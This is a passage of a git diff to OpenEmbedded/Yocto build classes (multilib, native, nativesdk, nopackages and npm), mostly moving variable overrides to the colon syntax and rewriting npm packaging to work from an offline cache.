python __anonymous () {
- variant = d.getVar("BBEXTENDVARIANT")
+ if bb.data.inherits_class('image', d):
+ # set rpm preferred file color for 32-bit multilib image
+ if d.getVar("SITEINFO_BITS") == "32":
+ d.setVar("RPM_PREFER_ELF_ARCH", "1")
- import oe.classextend
+ variant = d.getVar("BBEXTENDVARIANT")
+ import oe.classextend
- clsextend = oe.classextend.ClassExtender(variant, d)
+ clsextend = oe.classextend.ClassExtender(variant, d)
- if bb.data.inherits_class('image', d):
clsextend.map_depends_variable("PACKAGE_INSTALL")
clsextend.map_depends_variable("LINGUAS_INSTALL")
clsextend.map_depends_variable("RDEPENDS")
@@ -106,9 +110,24 @@ python __anonymous () {
d.setVar("LINGUAS_INSTALL", "")
# FIXME, we need to map this to something, not delete it!
d.setVar("PACKAGE_INSTALL_ATTEMPTONLY", "")
- bb.build.deltask('do_populate_sdk', d)
bb.build.deltask('do_populate_sdk_ext', d)
return
+}
+
+python multilib_virtclass_handler_postkeyexp () {
+ cls = d.getVar("BBEXTENDCURR")
+ variant = d.getVar("BBEXTENDVARIANT")
+ if cls != "multilib" or not variant:
+ return
+
+ variant = d.getVar("BBEXTENDVARIANT")
+
+ import oe.classextend
+
+ clsextend = oe.classextend.ClassExtender(variant, d)
+
+ if bb.data.inherits_class('image', d):
+ return
clsextend.map_depends_variable("DEPENDS")
clsextend.map_variable("PROVIDES")
@@ -129,6 +148,9 @@ python __anonymous () {
reset_alternative_priority(d)
}
+addhandler multilib_virtclass_handler_postkeyexp
+multilib_virtclass_handler_postkeyexp[eventmask] = "bb.event.RecipePostKeyExpansion"
+
def reset_alternative_priority(d):
if not bb.data.inherits_class('update-alternatives', d):
return
@@ -159,7 +181,7 @@ def reset_alternative_priority(d):
bb.debug(1, '%s: Setting ALTERNATIVE_PRIORITY_%s to %s' % (pkg, pkg, reset_priority))
d.setVar('ALTERNATIVE_PRIORITY_%s' % pkg, reset_priority)
- for alt_name in (d.getVar('ALTERNATIVE_%s' % pkg) or "").split():
+ for alt_name in (d.getVar('ALTERNATIVE:%s' % pkg) or "").split():
# ALTERNATIVE_PRIORITY_pkg[tool] = priority
alt_priority_pkg_name = d.getVarFlag('ALTERNATIVE_PRIORITY_%s' % pkg, alt_name)
# ALTERNATIVE_PRIORITY[tool] = priority
@@ -174,25 +196,26 @@ def reset_alternative_priority(d):
bb.debug(1, '%s: Setting ALTERNATIVE_PRIORITY[%s] to %s' % (pkg, alt_name, reset_priority))
d.setVarFlag('ALTERNATIVE_PRIORITY', alt_name, reset_priority)
-PACKAGEFUNCS_append = " do_package_qa_multilib"
+PACKAGEFUNCS:append = " do_package_qa_multilib"
python do_package_qa_multilib() {
def check_mlprefix(pkg, var, mlprefix):
- values = bb.utils.explode_deps(d.getVar('%s_%s' % (var, pkg)) or d.getVar(var) or "")
+ values = bb.utils.explode_deps(d.getVar('%s:%s' % (var, pkg)) or d.getVar(var) or "")
candidates = []
for i in values:
if i.startswith('virtual/'):
i = i[len('virtual/'):]
- if (not i.startswith('kernel-module')) and (not i.startswith(mlprefix)) and \
- (not 'cross-canadian' in i) and (not i.startswith("nativesdk-")) and \
- (not i.startswith("rtld")) and (not i.startswith('kernel-vmlinux')) \
- and (not i.startswith("kernel-image")) and (not i.startswith("/")):
+
+ if (not (i.startswith(mlprefix) or i.startswith("kernel-") \
+ or ('cross-canadian' in i) or i.startswith("nativesdk-") \
+ or i.startswith("rtld") or i.startswith("/"))):
candidates.append(i)
+
if len(candidates) > 0:
msg = "%s package %s - suspicious values '%s' in %s" \
% (d.getVar('PN'), pkg, ' '.join(candidates), var)
- package_qa_handle_error("multilib", msg, d)
+ oe.qa.handle_error("multilib", msg, d)
ml = d.getVar('MLPREFIX')
if not ml:
@@ -210,4 +233,5 @@ python do_package_qa_multilib() {
check_mlprefix(pkg, 'RSUGGESTS', ml)
check_mlprefix(pkg, 'RREPLACES', ml)
check_mlprefix(pkg, 'RCONFLICTS', ml)
+ oe.qa.exit_if_errors(d)
}
diff --git a/meta/classes/multilib_global.bbclass b/meta/classes/multilib_global.bbclass
index 98f65c8aae..e06307d057 100644
--- a/meta/classes/multilib_global.bbclass
+++ b/meta/classes/multilib_global.bbclass
@@ -1,6 +1,7 @@
def preferred_ml_updates(d):
- # If any PREFERRED_PROVIDER or PREFERRED_VERSION are set,
- # we need to mirror these variables in the multilib case;
+ # If any of PREFERRED_PROVIDER, PREFERRED_RPROVIDER, REQUIRED_VERSION
+ # or PREFERRED_VERSION are set, we need to mirror these variables in
+ # the multilib case;
multilibs = d.getVar('MULTILIBS') or ""
if not multilibs:
return
@@ -11,43 +12,54 @@ def preferred_ml_updates(d):
if len(eext) > 1 and eext[0] == 'multilib':
prefixes.append(eext[1])
- versions = []
+ required_versions = []
+ preferred_versions = []
providers = []
rproviders = []
for v in d.keys():
+ if v.startswith("REQUIRED_VERSION_"):
+ required_versions.append(v)
if v.startswith("PREFERRED_VERSION_"):
- versions.append(v)
+ preferred_versions.append(v)
if v.startswith("PREFERRED_PROVIDER_"):
providers.append(v)
if v.startswith("PREFERRED_RPROVIDER_"):
rproviders.append(v)
- for v in versions:
- val = d.getVar(v, False)
- pkg = v.replace("PREFERRED_VERSION_", "")
- if pkg.endswith("-native") or "-crosssdk-" in pkg or pkg.startswith(("nativesdk-", "virtual/nativesdk-")):
- continue
- if '-cross-' in pkg and '${' in pkg:
+ def sort_versions(versions, keyword):
+ version_str = "_".join([keyword, "VERSION", ""])
+ for v in versions:
+ val = d.getVar(v, False)
+ pkg = v.replace(version_str, "")
+ if pkg.endswith("-native") or "-crosssdk-" in pkg or pkg.startswith(("nativesdk-", "virtual/nativesdk-")):
+ continue
+ if '-cross-' in pkg and '${' in pkg:
+ for p in prefixes:
+ localdata = bb.data.createCopy(d)
+ override = ":virtclass-multilib-" + p
+ localdata.setVar("OVERRIDES", localdata.getVar("OVERRIDES", False) + override)
+ if "-canadian-" in pkg:
+ newtune = localdata.getVar("DEFAULTTUNE:" + "virtclass-multilib-" + p, False)
+ if newtune:
+ localdata.setVar("DEFAULTTUNE", newtune)
+ newname = localdata.expand(v)
+ else:
+ newname = localdata.expand(v).replace(version_str, version_str + p + '-')
+ if newname != v:
+ newval = localdata.expand(val)
+ d.setVar(newname, newval)
+ # Avoid future variable key expansion
+ vexp = d.expand(v)
+ if v != vexp and d.getVar(v, False):
+ d.renameVar(v, vexp)
+ continue
for p in prefixes:
- localdata = bb.data.createCopy(d)
- override = ":virtclass-multilib-" + p
- localdata.setVar("OVERRIDES", localdata.getVar("OVERRIDES", False) + override)
- if "-canadian-" in pkg:
- newname = localdata.expand(v)
- else:
- newname = localdata.expand(v).replace("PREFERRED_VERSION_", "PREFERRED_VERSION_" + p + '-')
- if newname != v:
- newval = localdata.expand(val)
- d.setVar(newname, newval)
- # Avoid future variable key expansion
- vexp = d.expand(v)
- if v != vexp and d.getVar(v, False):
- d.renameVar(v, vexp)
- continue
- for p in prefixes:
- newname = "PREFERRED_VERSION_" + p + "-" + pkg
- if not d.getVar(newname, False):
- d.setVar(newname, val)
+ newname = version_str + p + "-" + pkg
+ if not d.getVar(newname, False):
+ d.setVar(newname, val)
+
+ sort_versions(required_versions, "REQUIRED")
+ sort_versions(preferred_versions, "PREFERRED")
for prov in providers:
val = d.getVar(prov, False)
@@ -128,14 +140,14 @@ def preferred_ml_updates(d):
prov = prov.replace("virtual/", "")
return "virtual/" + prefix + "-" + prov
- mp = (d.getVar("MULTI_PROVIDER_WHITELIST") or "").split()
+ mp = (d.getVar("BB_MULTI_PROVIDER_ALLOWED") or "").split()
extramp = []
for p in mp:
if p.endswith("-native") or "-crosssdk-" in p or p.startswith(("nativesdk-", "virtual/nativesdk-")) or 'cross-canadian' in p:
continue
for pref in prefixes:
extramp.append(translate_provide(pref, p))
- d.setVar("MULTI_PROVIDER_WHITELIST", " ".join(mp + extramp))
+ d.setVar("BB_MULTI_PROVIDER_ALLOWED", " ".join(mp + extramp))
abisafe = (d.getVar("SIGGEN_EXCLUDERECIPES_ABISAFE") or "").split()
extras = []
@@ -155,8 +167,8 @@ def preferred_ml_updates(d):
python multilib_virtclass_handler_vendor () {
if isinstance(e, bb.event.ConfigParsed):
for v in e.data.getVar("MULTILIB_VARIANTS").split():
- if e.data.getVar("TARGET_VENDOR_virtclass-multilib-" + v, False) is None:
- e.data.setVar("TARGET_VENDOR_virtclass-multilib-" + v, e.data.getVar("TARGET_VENDOR", False) + "ml" + v)
+ if e.data.getVar("TARGET_VENDOR:virtclass-multilib-" + v, False) is None:
+ e.data.setVar("TARGET_VENDOR:virtclass-multilib-" + v, e.data.getVar("TARGET_VENDOR", False) + "ml" + v)
preferred_ml_updates(e.data)
}
addhandler multilib_virtclass_handler_vendor
@@ -198,13 +210,13 @@ python multilib_virtclass_handler_global () {
if rprovs.strip():
e.data.setVar("RPROVIDES", rprovs)
- # Process RPROVIDES_${PN}...
+ # Process RPROVIDES:${PN}...
for pkg in (e.data.getVar("PACKAGES") or "").split():
- origrprovs = rprovs = localdata.getVar("RPROVIDES_%s" % pkg) or ""
+ origrprovs = rprovs = localdata.getVar("RPROVIDES:%s" % pkg) or ""
for clsextend in clsextends:
- rprovs = rprovs + " " + clsextend.map_variable("RPROVIDES_%s" % pkg, setvar=False)
+ rprovs = rprovs + " " + clsextend.map_variable("RPROVIDES:%s" % pkg, setvar=False)
rprovs = rprovs + " " + clsextend.extname + "-" + pkg
- e.data.setVar("RPROVIDES_%s" % pkg, rprovs)
+ e.data.setVar("RPROVIDES:%s" % pkg, rprovs)
}
addhandler multilib_virtclass_handler_global
diff --git a/meta/classes/multilib_header.bbclass b/meta/classes/multilib_header.bbclass
index e03f5b13b2..efbc24f59b 100644
--- a/meta/classes/multilib_header.bbclass
+++ b/meta/classes/multilib_header.bbclass
@@ -42,11 +42,11 @@ oe_multilib_header() {
# Dependencies on arch variables like MIPSPKGSFX_ABI can be problematic.
# We don't need multilib headers for native builds so brute force things.
-oe_multilib_header_class-native () {
+oe_multilib_header:class-native () {
return
}
# Nor do we need multilib headers for nativesdk builds.
-oe_multilib_header_class-nativesdk () {
+oe_multilib_header:class-nativesdk () {
return
}
diff --git a/meta/classes/multilib_script.bbclass b/meta/classes/multilib_script.bbclass
index b11efc1ec5..41597341cd 100644
--- a/meta/classes/multilib_script.bbclass
+++ b/meta/classes/multilib_script.bbclass
@@ -26,9 +26,9 @@ python () {
pkg, script = entry.split(":")
epkg = d.expand(pkg)
scriptname = os.path.basename(script)
- d.appendVar("ALTERNATIVE_" + epkg, " " + scriptname + " ")
+ d.appendVar("ALTERNATIVE:" + epkg, " " + scriptname + " ")
d.setVarFlag("ALTERNATIVE_LINK_NAME", scriptname, script)
d.setVarFlag("ALTERNATIVE_TARGET", scriptname, script + "-${MULTILIB_SUFFIX}")
d.appendVar("multilibscript_rename", "\n mv ${PKGD}" + script + " ${PKGD}" + script + "-${MULTILIB_SUFFIX}")
- d.appendVar("FILES_" + epkg, " " + script + "-${MULTILIB_SUFFIX}")
+ d.appendVar("FILES:" + epkg, " " + script + "-${MULTILIB_SUFFIX}")
}
diff --git a/meta/classes/native.bbclass b/meta/classes/native.bbclass
index d5b6f6af8b..fc7422c5d7 100644
--- a/meta/classes/native.bbclass
+++ b/meta/classes/native.bbclass
@@ -5,19 +5,11 @@ inherit relocatable
# no need for them to be a direct target of 'world'
EXCLUDE_FROM_WORLD = "1"
-PACKAGES = ""
-PACKAGES_class-native = ""
-PACKAGES_DYNAMIC = ""
-PACKAGES_DYNAMIC_class-native = ""
PACKAGE_ARCH = "${BUILD_ARCH}"
# used by cmake class
OECMAKE_RPATH = "${libdir}"
-OECMAKE_RPATH_class-native = "${libdir}"
-
-# When this class has packaging enabled, setting
-# RPROVIDES becomes unnecessary.
-RPROVIDES = "${PN}"
+OECMAKE_RPATH:class-native = "${libdir}"
TARGET_ARCH = "${BUILD_ARCH}"
TARGET_OS = "${BUILD_OS}"
@@ -114,7 +106,7 @@ CLASSOVERRIDE = "class-native"
MACHINEOVERRIDES = ""
MACHINE_FEATURES = ""
-PATH_prepend = "${COREBASE}/scripts/native-intercept:"
+PATH:prepend = "${COREBASE}/scripts/native-intercept:"
# This class encodes staging paths into its scripts data so can only be
# reused if we manipulate the paths.
@@ -127,6 +119,7 @@ python native_virtclass_handler () {
pn = e.data.getVar("PN")
if not pn.endswith("-native"):
return
+ bpn = e.data.getVar("BPN")
# Set features here to prevent appends and distro features backfill
# from modifying native distro features
@@ -138,9 +131,9 @@ python native_virtclass_handler () {
if "native" not in classextend:
return
- def map_dependencies(varname, d, suffix = ""):
+ def map_dependencies(varname, d, suffix = "", selfref=True):
if suffix:
- varname = varname + "_" + suffix
+ varname = varname + ":" + suffix
deps = d.getVar(varname)
if not deps:
return
@@ -148,22 +141,28 @@ python native_virtclass_handler () {
newdeps = []
for dep in deps:
if dep == pn:
- continue
+ if not selfref:
+ continue
+ newdeps.append(dep)
elif "-cross-" in dep:
newdeps.append(dep.replace("-cross", "-native"))
elif not dep.endswith("-native"):
- newdeps.append(dep + "-native")
+ # Replace ${PN} with ${BPN} in the dependency to make sure
+ # dependencies on, e.g., ${PN}-foo become ${BPN}-foo-native
+ # rather than ${BPN}-native-foo-native.
+ newdeps.append(dep.replace(pn, bpn) + "-native")
else:
newdeps.append(dep)
- d.setVar(varname, " ".join(newdeps))
+ d.setVar(varname, " ".join(newdeps), parsing=True)
- map_dependencies("DEPENDS", e.data)
- for pkg in [e.data.getVar("PN"), "", "${PN}"]:
+ map_dependencies("DEPENDS", e.data, selfref=False)
+ for pkg in e.data.getVar("PACKAGES", False).split():
map_dependencies("RDEPENDS", e.data, pkg)
map_dependencies("RRECOMMENDS", e.data, pkg)
map_dependencies("RSUGGESTS", e.data, pkg)
map_dependencies("RPROVIDES", e.data, pkg)
map_dependencies("RREPLACES", e.data, pkg)
+ map_dependencies("PACKAGES", e.data)
provides = e.data.getVar("PROVIDES")
nprovides = []
@@ -171,7 +170,7 @@ python native_virtclass_handler () {
if prov.find(pn) != -1:
nprovides.append(prov)
elif not prov.endswith("-native"):
- nprovides.append(prov.replace(prov, prov + "-native"))
+ nprovides.append(prov + "-native")
else:
nprovides.append(prov)
e.data.setVar("PROVIDES", ' '.join(nprovides))
@@ -186,13 +185,44 @@ python do_addto_recipe_sysroot () {
bb.build.exec_func("extend_recipe_sysroot", d)
}
addtask addto_recipe_sysroot after do_populate_sysroot
+do_addto_recipe_sysroot[deptask] = "do_populate_sysroot"
inherit nopackages
do_packagedata[stamp-extra-info] = ""
-do_populate_sysroot[stamp-extra-info] = ""
USE_NLS = "no"
RECIPERDEPTASK = "do_populate_sysroot"
do_populate_sysroot[rdeptask] = "${RECIPERDEPTASK}"
+
+#
+# Native task outputs are directly run on the target (host) system after being
+# built. Even if the output of this recipe doesn't change, a change in one of
+# its dependencies may cause a change in the output it generates (e.g. rpm
+# output depends on the output of its dependent zstd library).
+#
+# This can cause poor interactions with hash equivalence, since this recipes
+# output-changing dependency is "hidden" and downstream task only see that this
+# recipe has the same outhash and therefore is equivalent. This can result in
+# different output in different cases.
+#
+# To resolve this, unhide the output-changing dependency by adding its unihash
+# to this tasks outhash calculation. Unfortunately, don't know specifically
+# know which dependencies are output-changing, so we have to add all of them.
+#
+python native_add_do_populate_sysroot_deps () {
+ current_task = "do_" + d.getVar("BB_CURRENTTASK")
+ if current_task != "do_populate_sysroot":
+ return
+
+ taskdepdata = d.getVar("BB_TASKDEPDATA", False)
+ pn = d.getVar("PN")
+ deps = {
+ dep[0]:dep[6] for dep in taskdepdata.values() if
+ dep[1] == current_task and dep[0] != pn
+ }
+
+ d.setVar("HASHEQUIV_EXTRA_SIGDATA", "\n".join("%s: %s" % (k, deps[k]) for k in sorted(deps.keys())))
+}
+SSTATECREATEFUNCS += "native_add_do_populate_sysroot_deps"
diff --git a/meta/classes/nativesdk.bbclass b/meta/classes/nativesdk.bbclass
index 03135acedc..f8e9607513 100644
--- a/meta/classes/nativesdk.bbclass
+++ b/meta/classes/nativesdk.bbclass
@@ -9,6 +9,7 @@ NATIVESDKLIBC ?= "libc-glibc"
LIBCOVERRIDE = ":${NATIVESDKLIBC}"
CLASSOVERRIDE = "class-nativesdk"
MACHINEOVERRIDES = ""
+MACHINE_FEATURES = ""
MULTILIBS = ""
@@ -27,10 +28,10 @@ PACKAGE_ARCHS = "${SDK_PACKAGE_ARCHS}"
# We need chrpath >= 0.14 to ensure we can deal with 32 and 64 bit
# binaries
#
-DEPENDS_append = " chrpath-replacement-native"
+DEPENDS:append = " chrpath-replacement-native"
EXTRANATIVEPATH += "chrpath-native"
-PKGDATA_DIR = "${TMPDIR}/pkgdata/${SDK_SYS}"
+PKGDATA_DIR = "${PKGDATA_DIR_SDK}"
HOST_ARCH = "${SDK_ARCH}"
HOST_VENDOR = "${SDK_VENDOR}"
@@ -57,7 +58,7 @@ EXTRA_OECONF_GCC_FLOAT = ""
CPPFLAGS = "${BUILDSDK_CPPFLAGS}"
CFLAGS = "${BUILDSDK_CFLAGS}"
-CXXFLAGS = "${BUILDSDK_CFLAGS}"
+CXXFLAGS = "${BUILDSDK_CXXFLAGS}"
LDFLAGS = "${BUILDSDK_LDFLAGS}"
# Change to place files in SDKPATH
@@ -107,9 +108,10 @@ python () {
addhandler nativesdk_virtclass_handler
nativesdk_virtclass_handler[eventmask] = "bb.event.RecipePreFinalise"
-do_populate_sysroot[stamp-extra-info] = ""
do_packagedata[stamp-extra-info] = ""
USE_NLS = "${SDKUSE_NLS}"
OLDEST_KERNEL = "${SDK_OLDEST_KERNEL}"
+
+PATH:prepend = "${COREBASE}/scripts/nativesdk-intercept:"
diff --git a/meta/classes/nopackages.bbclass b/meta/classes/nopackages.bbclass
index 559f5078bd..7a4f632d71 100644
--- a/meta/classes/nopackages.bbclass
+++ b/meta/classes/nopackages.bbclass
@@ -2,6 +2,7 @@ deltask do_package
deltask do_package_write_rpm
deltask do_package_write_ipk
deltask do_package_write_deb
+deltask do_package_write_tar
deltask do_package_qa
deltask do_packagedata
deltask do_package_setscene
diff --git a/meta/classes/npm.bbclass b/meta/classes/npm.bbclass
index 4b1f0a39f0..ba50fcac20 100644
--- a/meta/classes/npm.bbclass
+++ b/meta/classes/npm.bbclass
@@ -1,94 +1,319 @@
-DEPENDS_prepend = "nodejs-native "
-RDEPENDS_${PN}_prepend = "nodejs "
-S = "${WORKDIR}/npmpkg"
+# Copyright (C) 2020 Savoir-Faire Linux
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+# This bbclass builds and installs an npm package to the target. The package
+# sources files should be fetched in the calling recipe by using the SRC_URI
+# variable. The ${S} variable should be updated depending of your fetcher.
+#
+# Usage:
+# SRC_URI = "..."
+# inherit npm
+#
+# Optional variables:
+# NPM_ARCH:
+# Override the auto generated npm architecture.
+#
+# NPM_INSTALL_DEV:
+# Set to 1 to also install devDependencies.
-def node_pkgname(d):
- bpn = d.getVar('BPN')
- if bpn.startswith("node-"):
- return bpn[5:]
- return bpn
+inherit python3native
-NPMPN ?= "${@node_pkgname(d)}"
+DEPENDS:prepend = "nodejs-native "
+RDEPENDS:${PN}:append:class-target = " nodejs"
-NPM_INSTALLDIR = "${libdir}/node_modules/${NPMPN}"
+EXTRA_OENPM = ""
-# function maps arch names to npm arch names
-def npm_oe_arch_map(target_arch, d):
+NPM_INSTALL_DEV ?= "0"
+
+NPM_NODEDIR ?= "${RECIPE_SYSROOT_NATIVE}${prefix_native}"
+
+def npm_target_arch_map(target_arch):
+ """Maps arch names to npm arch names"""
import re
- if re.match('p(pc|owerpc)(|64)', target_arch): return 'ppc'
- elif re.match('i.86$', target_arch): return 'ia32'
- elif re.match('x86_64$', target_arch): return 'x64'
- elif re.match('arm64$', target_arch): return 'arm'
+ if re.match("p(pc|owerpc)(|64)", target_arch):
+ return "ppc"
+ elif re.match("i.86$", target_arch):
+ return "ia32"
+ elif re.match("x86_64$", target_arch):
+ return "x64"
+ elif re.match("arm64$", target_arch):
+ return "arm"
return target_arch
-NPM_ARCH ?= "${@npm_oe_arch_map(d.getVar('TARGET_ARCH'), d)}"
-NPM_INSTALL_DEV ?= "0"
+NPM_ARCH ?= "${@npm_target_arch_map(d.getVar("TARGET_ARCH"))}"
+
+NPM_PACKAGE = "${WORKDIR}/npm-package"
+NPM_CACHE = "${WORKDIR}/npm-cache"
+NPM_BUILD = "${WORKDIR}/npm-build"
+
+def npm_global_configs(d):
+ """Get the npm global configuration"""
+ configs = []
+ # Ensure no network access is done
+ configs.append(("offline", "true"))
+ configs.append(("proxy", "http://invalid"))
+ # Configure the cache directory
+ configs.append(("cache", d.getVar("NPM_CACHE")))
+ return configs
+
+def npm_pack(env, srcdir, workdir):
+ """Run 'npm pack' on a specified directory"""
+ import shlex
+ cmd = "npm pack %s" % shlex.quote(srcdir)
+ args = [("ignore-scripts", "true")]
+ tarball = env.run(cmd, args=args, workdir=workdir).strip("\n")
+ return os.path.join(workdir, tarball)
+
+python npm_do_configure() {
+ """
+ Step one: configure the npm cache and the main npm package
+
+ Every dependencies have been fetched and patched in the source directory.
+ They have to be packed (this remove unneeded files) and added to the npm
+ cache to be available for the next step.
+
+ The main package and its associated manifest file and shrinkwrap file have
+ to be configured to take into account these cached dependencies.
+ """
+ import base64
+ import copy
+ import json
+ import re
+ import shlex
+ import tempfile
+ from bb.fetch2.npm import NpmEnvironment
+ from bb.fetch2.npm import npm_unpack
+ from bb.fetch2.npmsw import foreach_dependencies
+ from bb.progress import OutOfProgressHandler
+
+ bb.utils.remove(d.getVar("NPM_CACHE"), recurse=True)
+ bb.utils.remove(d.getVar("NPM_PACKAGE"), recurse=True)
+
+ env = NpmEnvironment(d, configs=npm_global_configs(d))
+
+ def _npm_cache_add(tarball):
+ """Run 'npm cache add' for a specified tarball"""
+ cmd = "npm cache add %s" % shlex.quote(tarball)
+ env.run(cmd)
+
+ def _npm_integrity(tarball):
+ """Return the npm integrity of a specified tarball"""
+ sha512 = bb.utils.sha512_file(tarball)
+ return "sha512-" + base64.b64encode(bytes.fromhex(sha512)).decode()
+
+ def _npm_version(tarball):
+ """Return the version of a specified tarball"""
+ regex = r"-(\d+\.\d+\.\d+(-.*)?(\+.*)?)\.tgz"
+ return re.search(regex, tarball).group(1)
+
+ def _npmsw_dependency_dict(orig, deptree):
+ """
+ Return the sub dictionary in the 'orig' dictionary corresponding to the
+ 'deptree' dependency tree. This function follows the shrinkwrap file
+ format.
+ """
+ ptr = orig
+ for dep in deptree:
+ if "dependencies" not in ptr:
+ ptr["dependencies"] = {}
+ ptr = ptr["dependencies"]
+ if dep not in ptr:
+ ptr[dep] = {}
+ ptr = ptr[dep]
+ return ptr
+
+ # Manage the manifest file and shrinkwrap files
+ orig_manifest_file = d.expand("${S}/package.json")
+ orig_shrinkwrap_file = d.expand("${S}/npm-shrinkwrap.json")
+ cached_manifest_file = d.expand("${NPM_PACKAGE}/package.json")
+ cached_shrinkwrap_file = d.expand("${NPM_PACKAGE}/npm-shrinkwrap.json")
+
+ with open(orig_manifest_file, "r") as f:
+ orig_manifest = json.load(f)
+
+ cached_manifest = copy.deepcopy(orig_manifest)
+ cached_manifest.pop("dependencies", None)
+ cached_manifest.pop("devDependencies", None)
+
+ has_shrinkwrap_file = True
+
+ try:
+ with open(orig_shrinkwrap_file, "r") as f:
+ orig_shrinkwrap = json.load(f)
+ except IOError:
+ has_shrinkwrap_file = False
+
+ if has_shrinkwrap_file:
+ cached_shrinkwrap = copy.deepcopy(orig_shrinkwrap)
+ cached_shrinkwrap.pop("dependencies", None)
+
+ # Manage the dependencies
+ progress = OutOfProgressHandler(d, r"^(\d+)/(\d+)$")
+ progress_total = 1 # also count the main package
+ progress_done = 0
+
+ def _count_dependency(name, params, deptree):
+ nonlocal progress_total
+ progress_total += 1
+
+ def _cache_dependency(name, params, deptree):
+ destsubdirs = [os.path.join("node_modules", dep) for dep in deptree]
+ destsuffix = os.path.join(*destsubdirs)
+ with tempfile.TemporaryDirectory() as tmpdir:
+ # Add the dependency to the npm cache
+ destdir = os.path.join(d.getVar("S"), destsuffix)
+ tarball = npm_pack(env, destdir, tmpdir)
+ _npm_cache_add(tarball)
+ # Add its signature to the cached shrinkwrap
+ dep = _npmsw_dependency_dict(cached_shrinkwrap, deptree)
+ dep["version"] = _npm_version(tarball)
+ dep["integrity"] = _npm_integrity(tarball)
+ if params.get("dev", False):
+ dep["dev"] = True
+ # Display progress
+ nonlocal progress_done
+ progress_done += 1
+ progress.write("%d/%d" % (progress_done, progress_total))
+
+ dev = bb.utils.to_boolean(d.getVar("NPM_INSTALL_DEV"), False)
+
+ if has_shrinkwrap_file:
+ foreach_dependencies(orig_shrinkwrap, _count_dependency, dev)
+ foreach_dependencies(orig_shrinkwrap, _cache_dependency, dev)
-npm_do_compile() {
- # Copy in any additionally fetched modules
- if [ -d ${WORKDIR}/node_modules ] ; then
- cp -a ${WORKDIR}/node_modules ${S}/
- fi
- # changing the home directory to the working directory, the .npmrc will
- # be created in this directory
- export HOME=${WORKDIR}
- if [ "${NPM_INSTALL_DEV}" = "1" ]; then
- npm config set dev true
- else
- npm config set dev false
- fi
- npm set cache ${WORKDIR}/npm_cache
- # clear cache before every build
- npm cache clear --force
- # Install pkg into ${S} without going to the registry
- if [ "${NPM_INSTALL_DEV}" = "1" ]; then
- npm --arch=${NPM_ARCH} --target_arch=${NPM_ARCH} --no-registry install
- else
- npm --arch=${NPM_ARCH} --target_arch=${NPM_ARCH} --production --no-registry install
- fi
+ # Configure the main package
+ with tempfile.TemporaryDirectory() as tmpdir:
+ tarball = npm_pack(env, d.getVar("S"), tmpdir)
+ npm_unpack(tarball, d.getVar("NPM_PACKAGE"), d)
+
+ # Configure the cached manifest file and cached shrinkwrap file
+ def _update_manifest(depkey):
+ for name in orig_manifest.get(depkey, {}):
+ version = cached_shrinkwrap["dependencies"][name]["version"]
+ if depkey not in cached_manifest:
+ cached_manifest[depkey] = {}
+ cached_manifest[depkey][name] = version
+
+ if has_shrinkwrap_file:
+ _update_manifest("dependencies")
+
+ if dev:
+ if has_shrinkwrap_file:
+ _update_manifest("devDependencies")
+
+ with open(cached_manifest_file, "w") as f:
+ json.dump(cached_manifest, f, indent=2)
+
+ if has_shrinkwrap_file:
+ with open(cached_shrinkwrap_file, "w") as f:
+ json.dump(cached_shrinkwrap, f, indent=2)
}
-npm_do_install() {
- # changing the home directory to the working directory, the .npmrc will
- # be created in this directory
- export HOME=${WORKDIR}
- mkdir -p ${D}${libdir}/node_modules
- local NPM_PACKFILE=$(npm pack .)
- npm install --prefix ${D}${prefix} -g --arch=${NPM_ARCH} --target_arch=${NPM_ARCH} --production --no-registry ${NPM_PACKFILE}
- ln -fs node_modules ${D}${libdir}/node
- find ${D}${NPM_INSTALLDIR} -type f \( -name "*.a" -o -name "*.d" -o -name "*.o" \) -delete
- if [ -d ${D}${prefix}/etc ] ; then
- # This will be empty
- rmdir ${D}${prefix}/etc
- fi
+python npm_do_compile() {
+ """
+ Step two: install the npm package
+
+ Use the configured main package and the cached dependencies to run the
+ installation process. The installation is done in a directory which is
+ not the destination directory yet.
+
+ A combination of 'npm pack' and 'npm install' is used to ensure that the
+ installed files are actual copies instead of symbolic links (which is the
+ default npm behavior).
+ """
+ import shlex
+ import tempfile
+ from bb.fetch2.npm import NpmEnvironment
+
+ bb.utils.remove(d.getVar("NPM_BUILD"), recurse=True)
+
+ with tempfile.TemporaryDirectory() as tmpdir:
+ args = []
+ configs = npm_global_configs(d)
+
+ if bb.utils.to_boolean(d.getVar("NPM_INSTALL_DEV"), False):
+ configs.append(("also", "development"))
+ else:
+ configs.append(("only", "production"))
+
+ # Report as many logs as possible for debugging purpose
+ configs.append(("loglevel", "silly"))
+
+ # Configure the installation to be done globally in the build directory
+ configs.append(("global", "true"))
+ configs.append(("prefix", d.getVar("NPM_BUILD")))
+
+ # Add node-gyp configuration
+ configs.append(("arch", d.getVar("NPM_ARCH")))
+ configs.append(("release", "true"))
+ configs.append(("nodedir", d.getVar("NPM_NODEDIR")))
+ configs.append(("python", d.getVar("PYTHON")))
+
+ env = NpmEnvironment(d, configs)
+
+ # Add node-pre-gyp configuration
+ args.append(("target_arch", d.getVar("NPM_ARCH")))
+ args.append(("build-from-source", "true"))
+
+ # Pack and install the main package
+ tarball = npm_pack(env, d.getVar("NPM_PACKAGE"), tmpdir)
+ cmd = "npm install %s %s" % (shlex.quote(tarball), d.getVar("EXTRA_OENPM"))
+ env.run(cmd, args=args)
}
-python populate_packages_prepend () {
- instdir = d.expand('${D}${NPM_INSTALLDIR}')
- extrapackages = oe.package.npm_split_package_dirs(instdir)
- pkgnames = extrapackages.keys()
- d.prependVar('PACKAGES', '%s ' % ' '.join(pkgnames))
- for pkgname in pkgnames:
- pkgrelpath, pdata = extrapackages[pkgname]
- pkgpath = '${NPM_INSTALLDIR}/' + pkgrelpath
- # package names can't have underscores but npm packages sometimes use them
- oe_pkg_name = pkgname.replace('_', '-')
- expanded_pkgname = d.expand(oe_pkg_name)
- d.setVar('FILES_%s' % expanded_pkgname, pkgpath)
- if pdata:
- version = pdata.get('version', None)
- if version:
- d.setVar('PKGV_%s' % expanded_pkgname, version)
- description = pdata.get('description', None)
- if description:
- d.setVar('SUMMARY_%s' % expanded_pkgname, description.replace(u"\u2018", "'").replace(u"\u2019", "'"))
- d.appendVar('RDEPENDS_%s' % d.getVar('PN'), ' %s' % ' '.join(pkgnames).replace('_', '-'))
+npm_do_install() {
+ # Step three: final install
+ #
+ # The previous installation have to be filtered to remove some extra files.
+
+ rm -rf ${D}
+
+ # Copy the entire lib and bin directories
+ install -d ${D}/${nonarch_libdir}
+ cp --no-preserve=ownership --recursive ${NPM_BUILD}/lib/. ${D}/${nonarch_libdir}
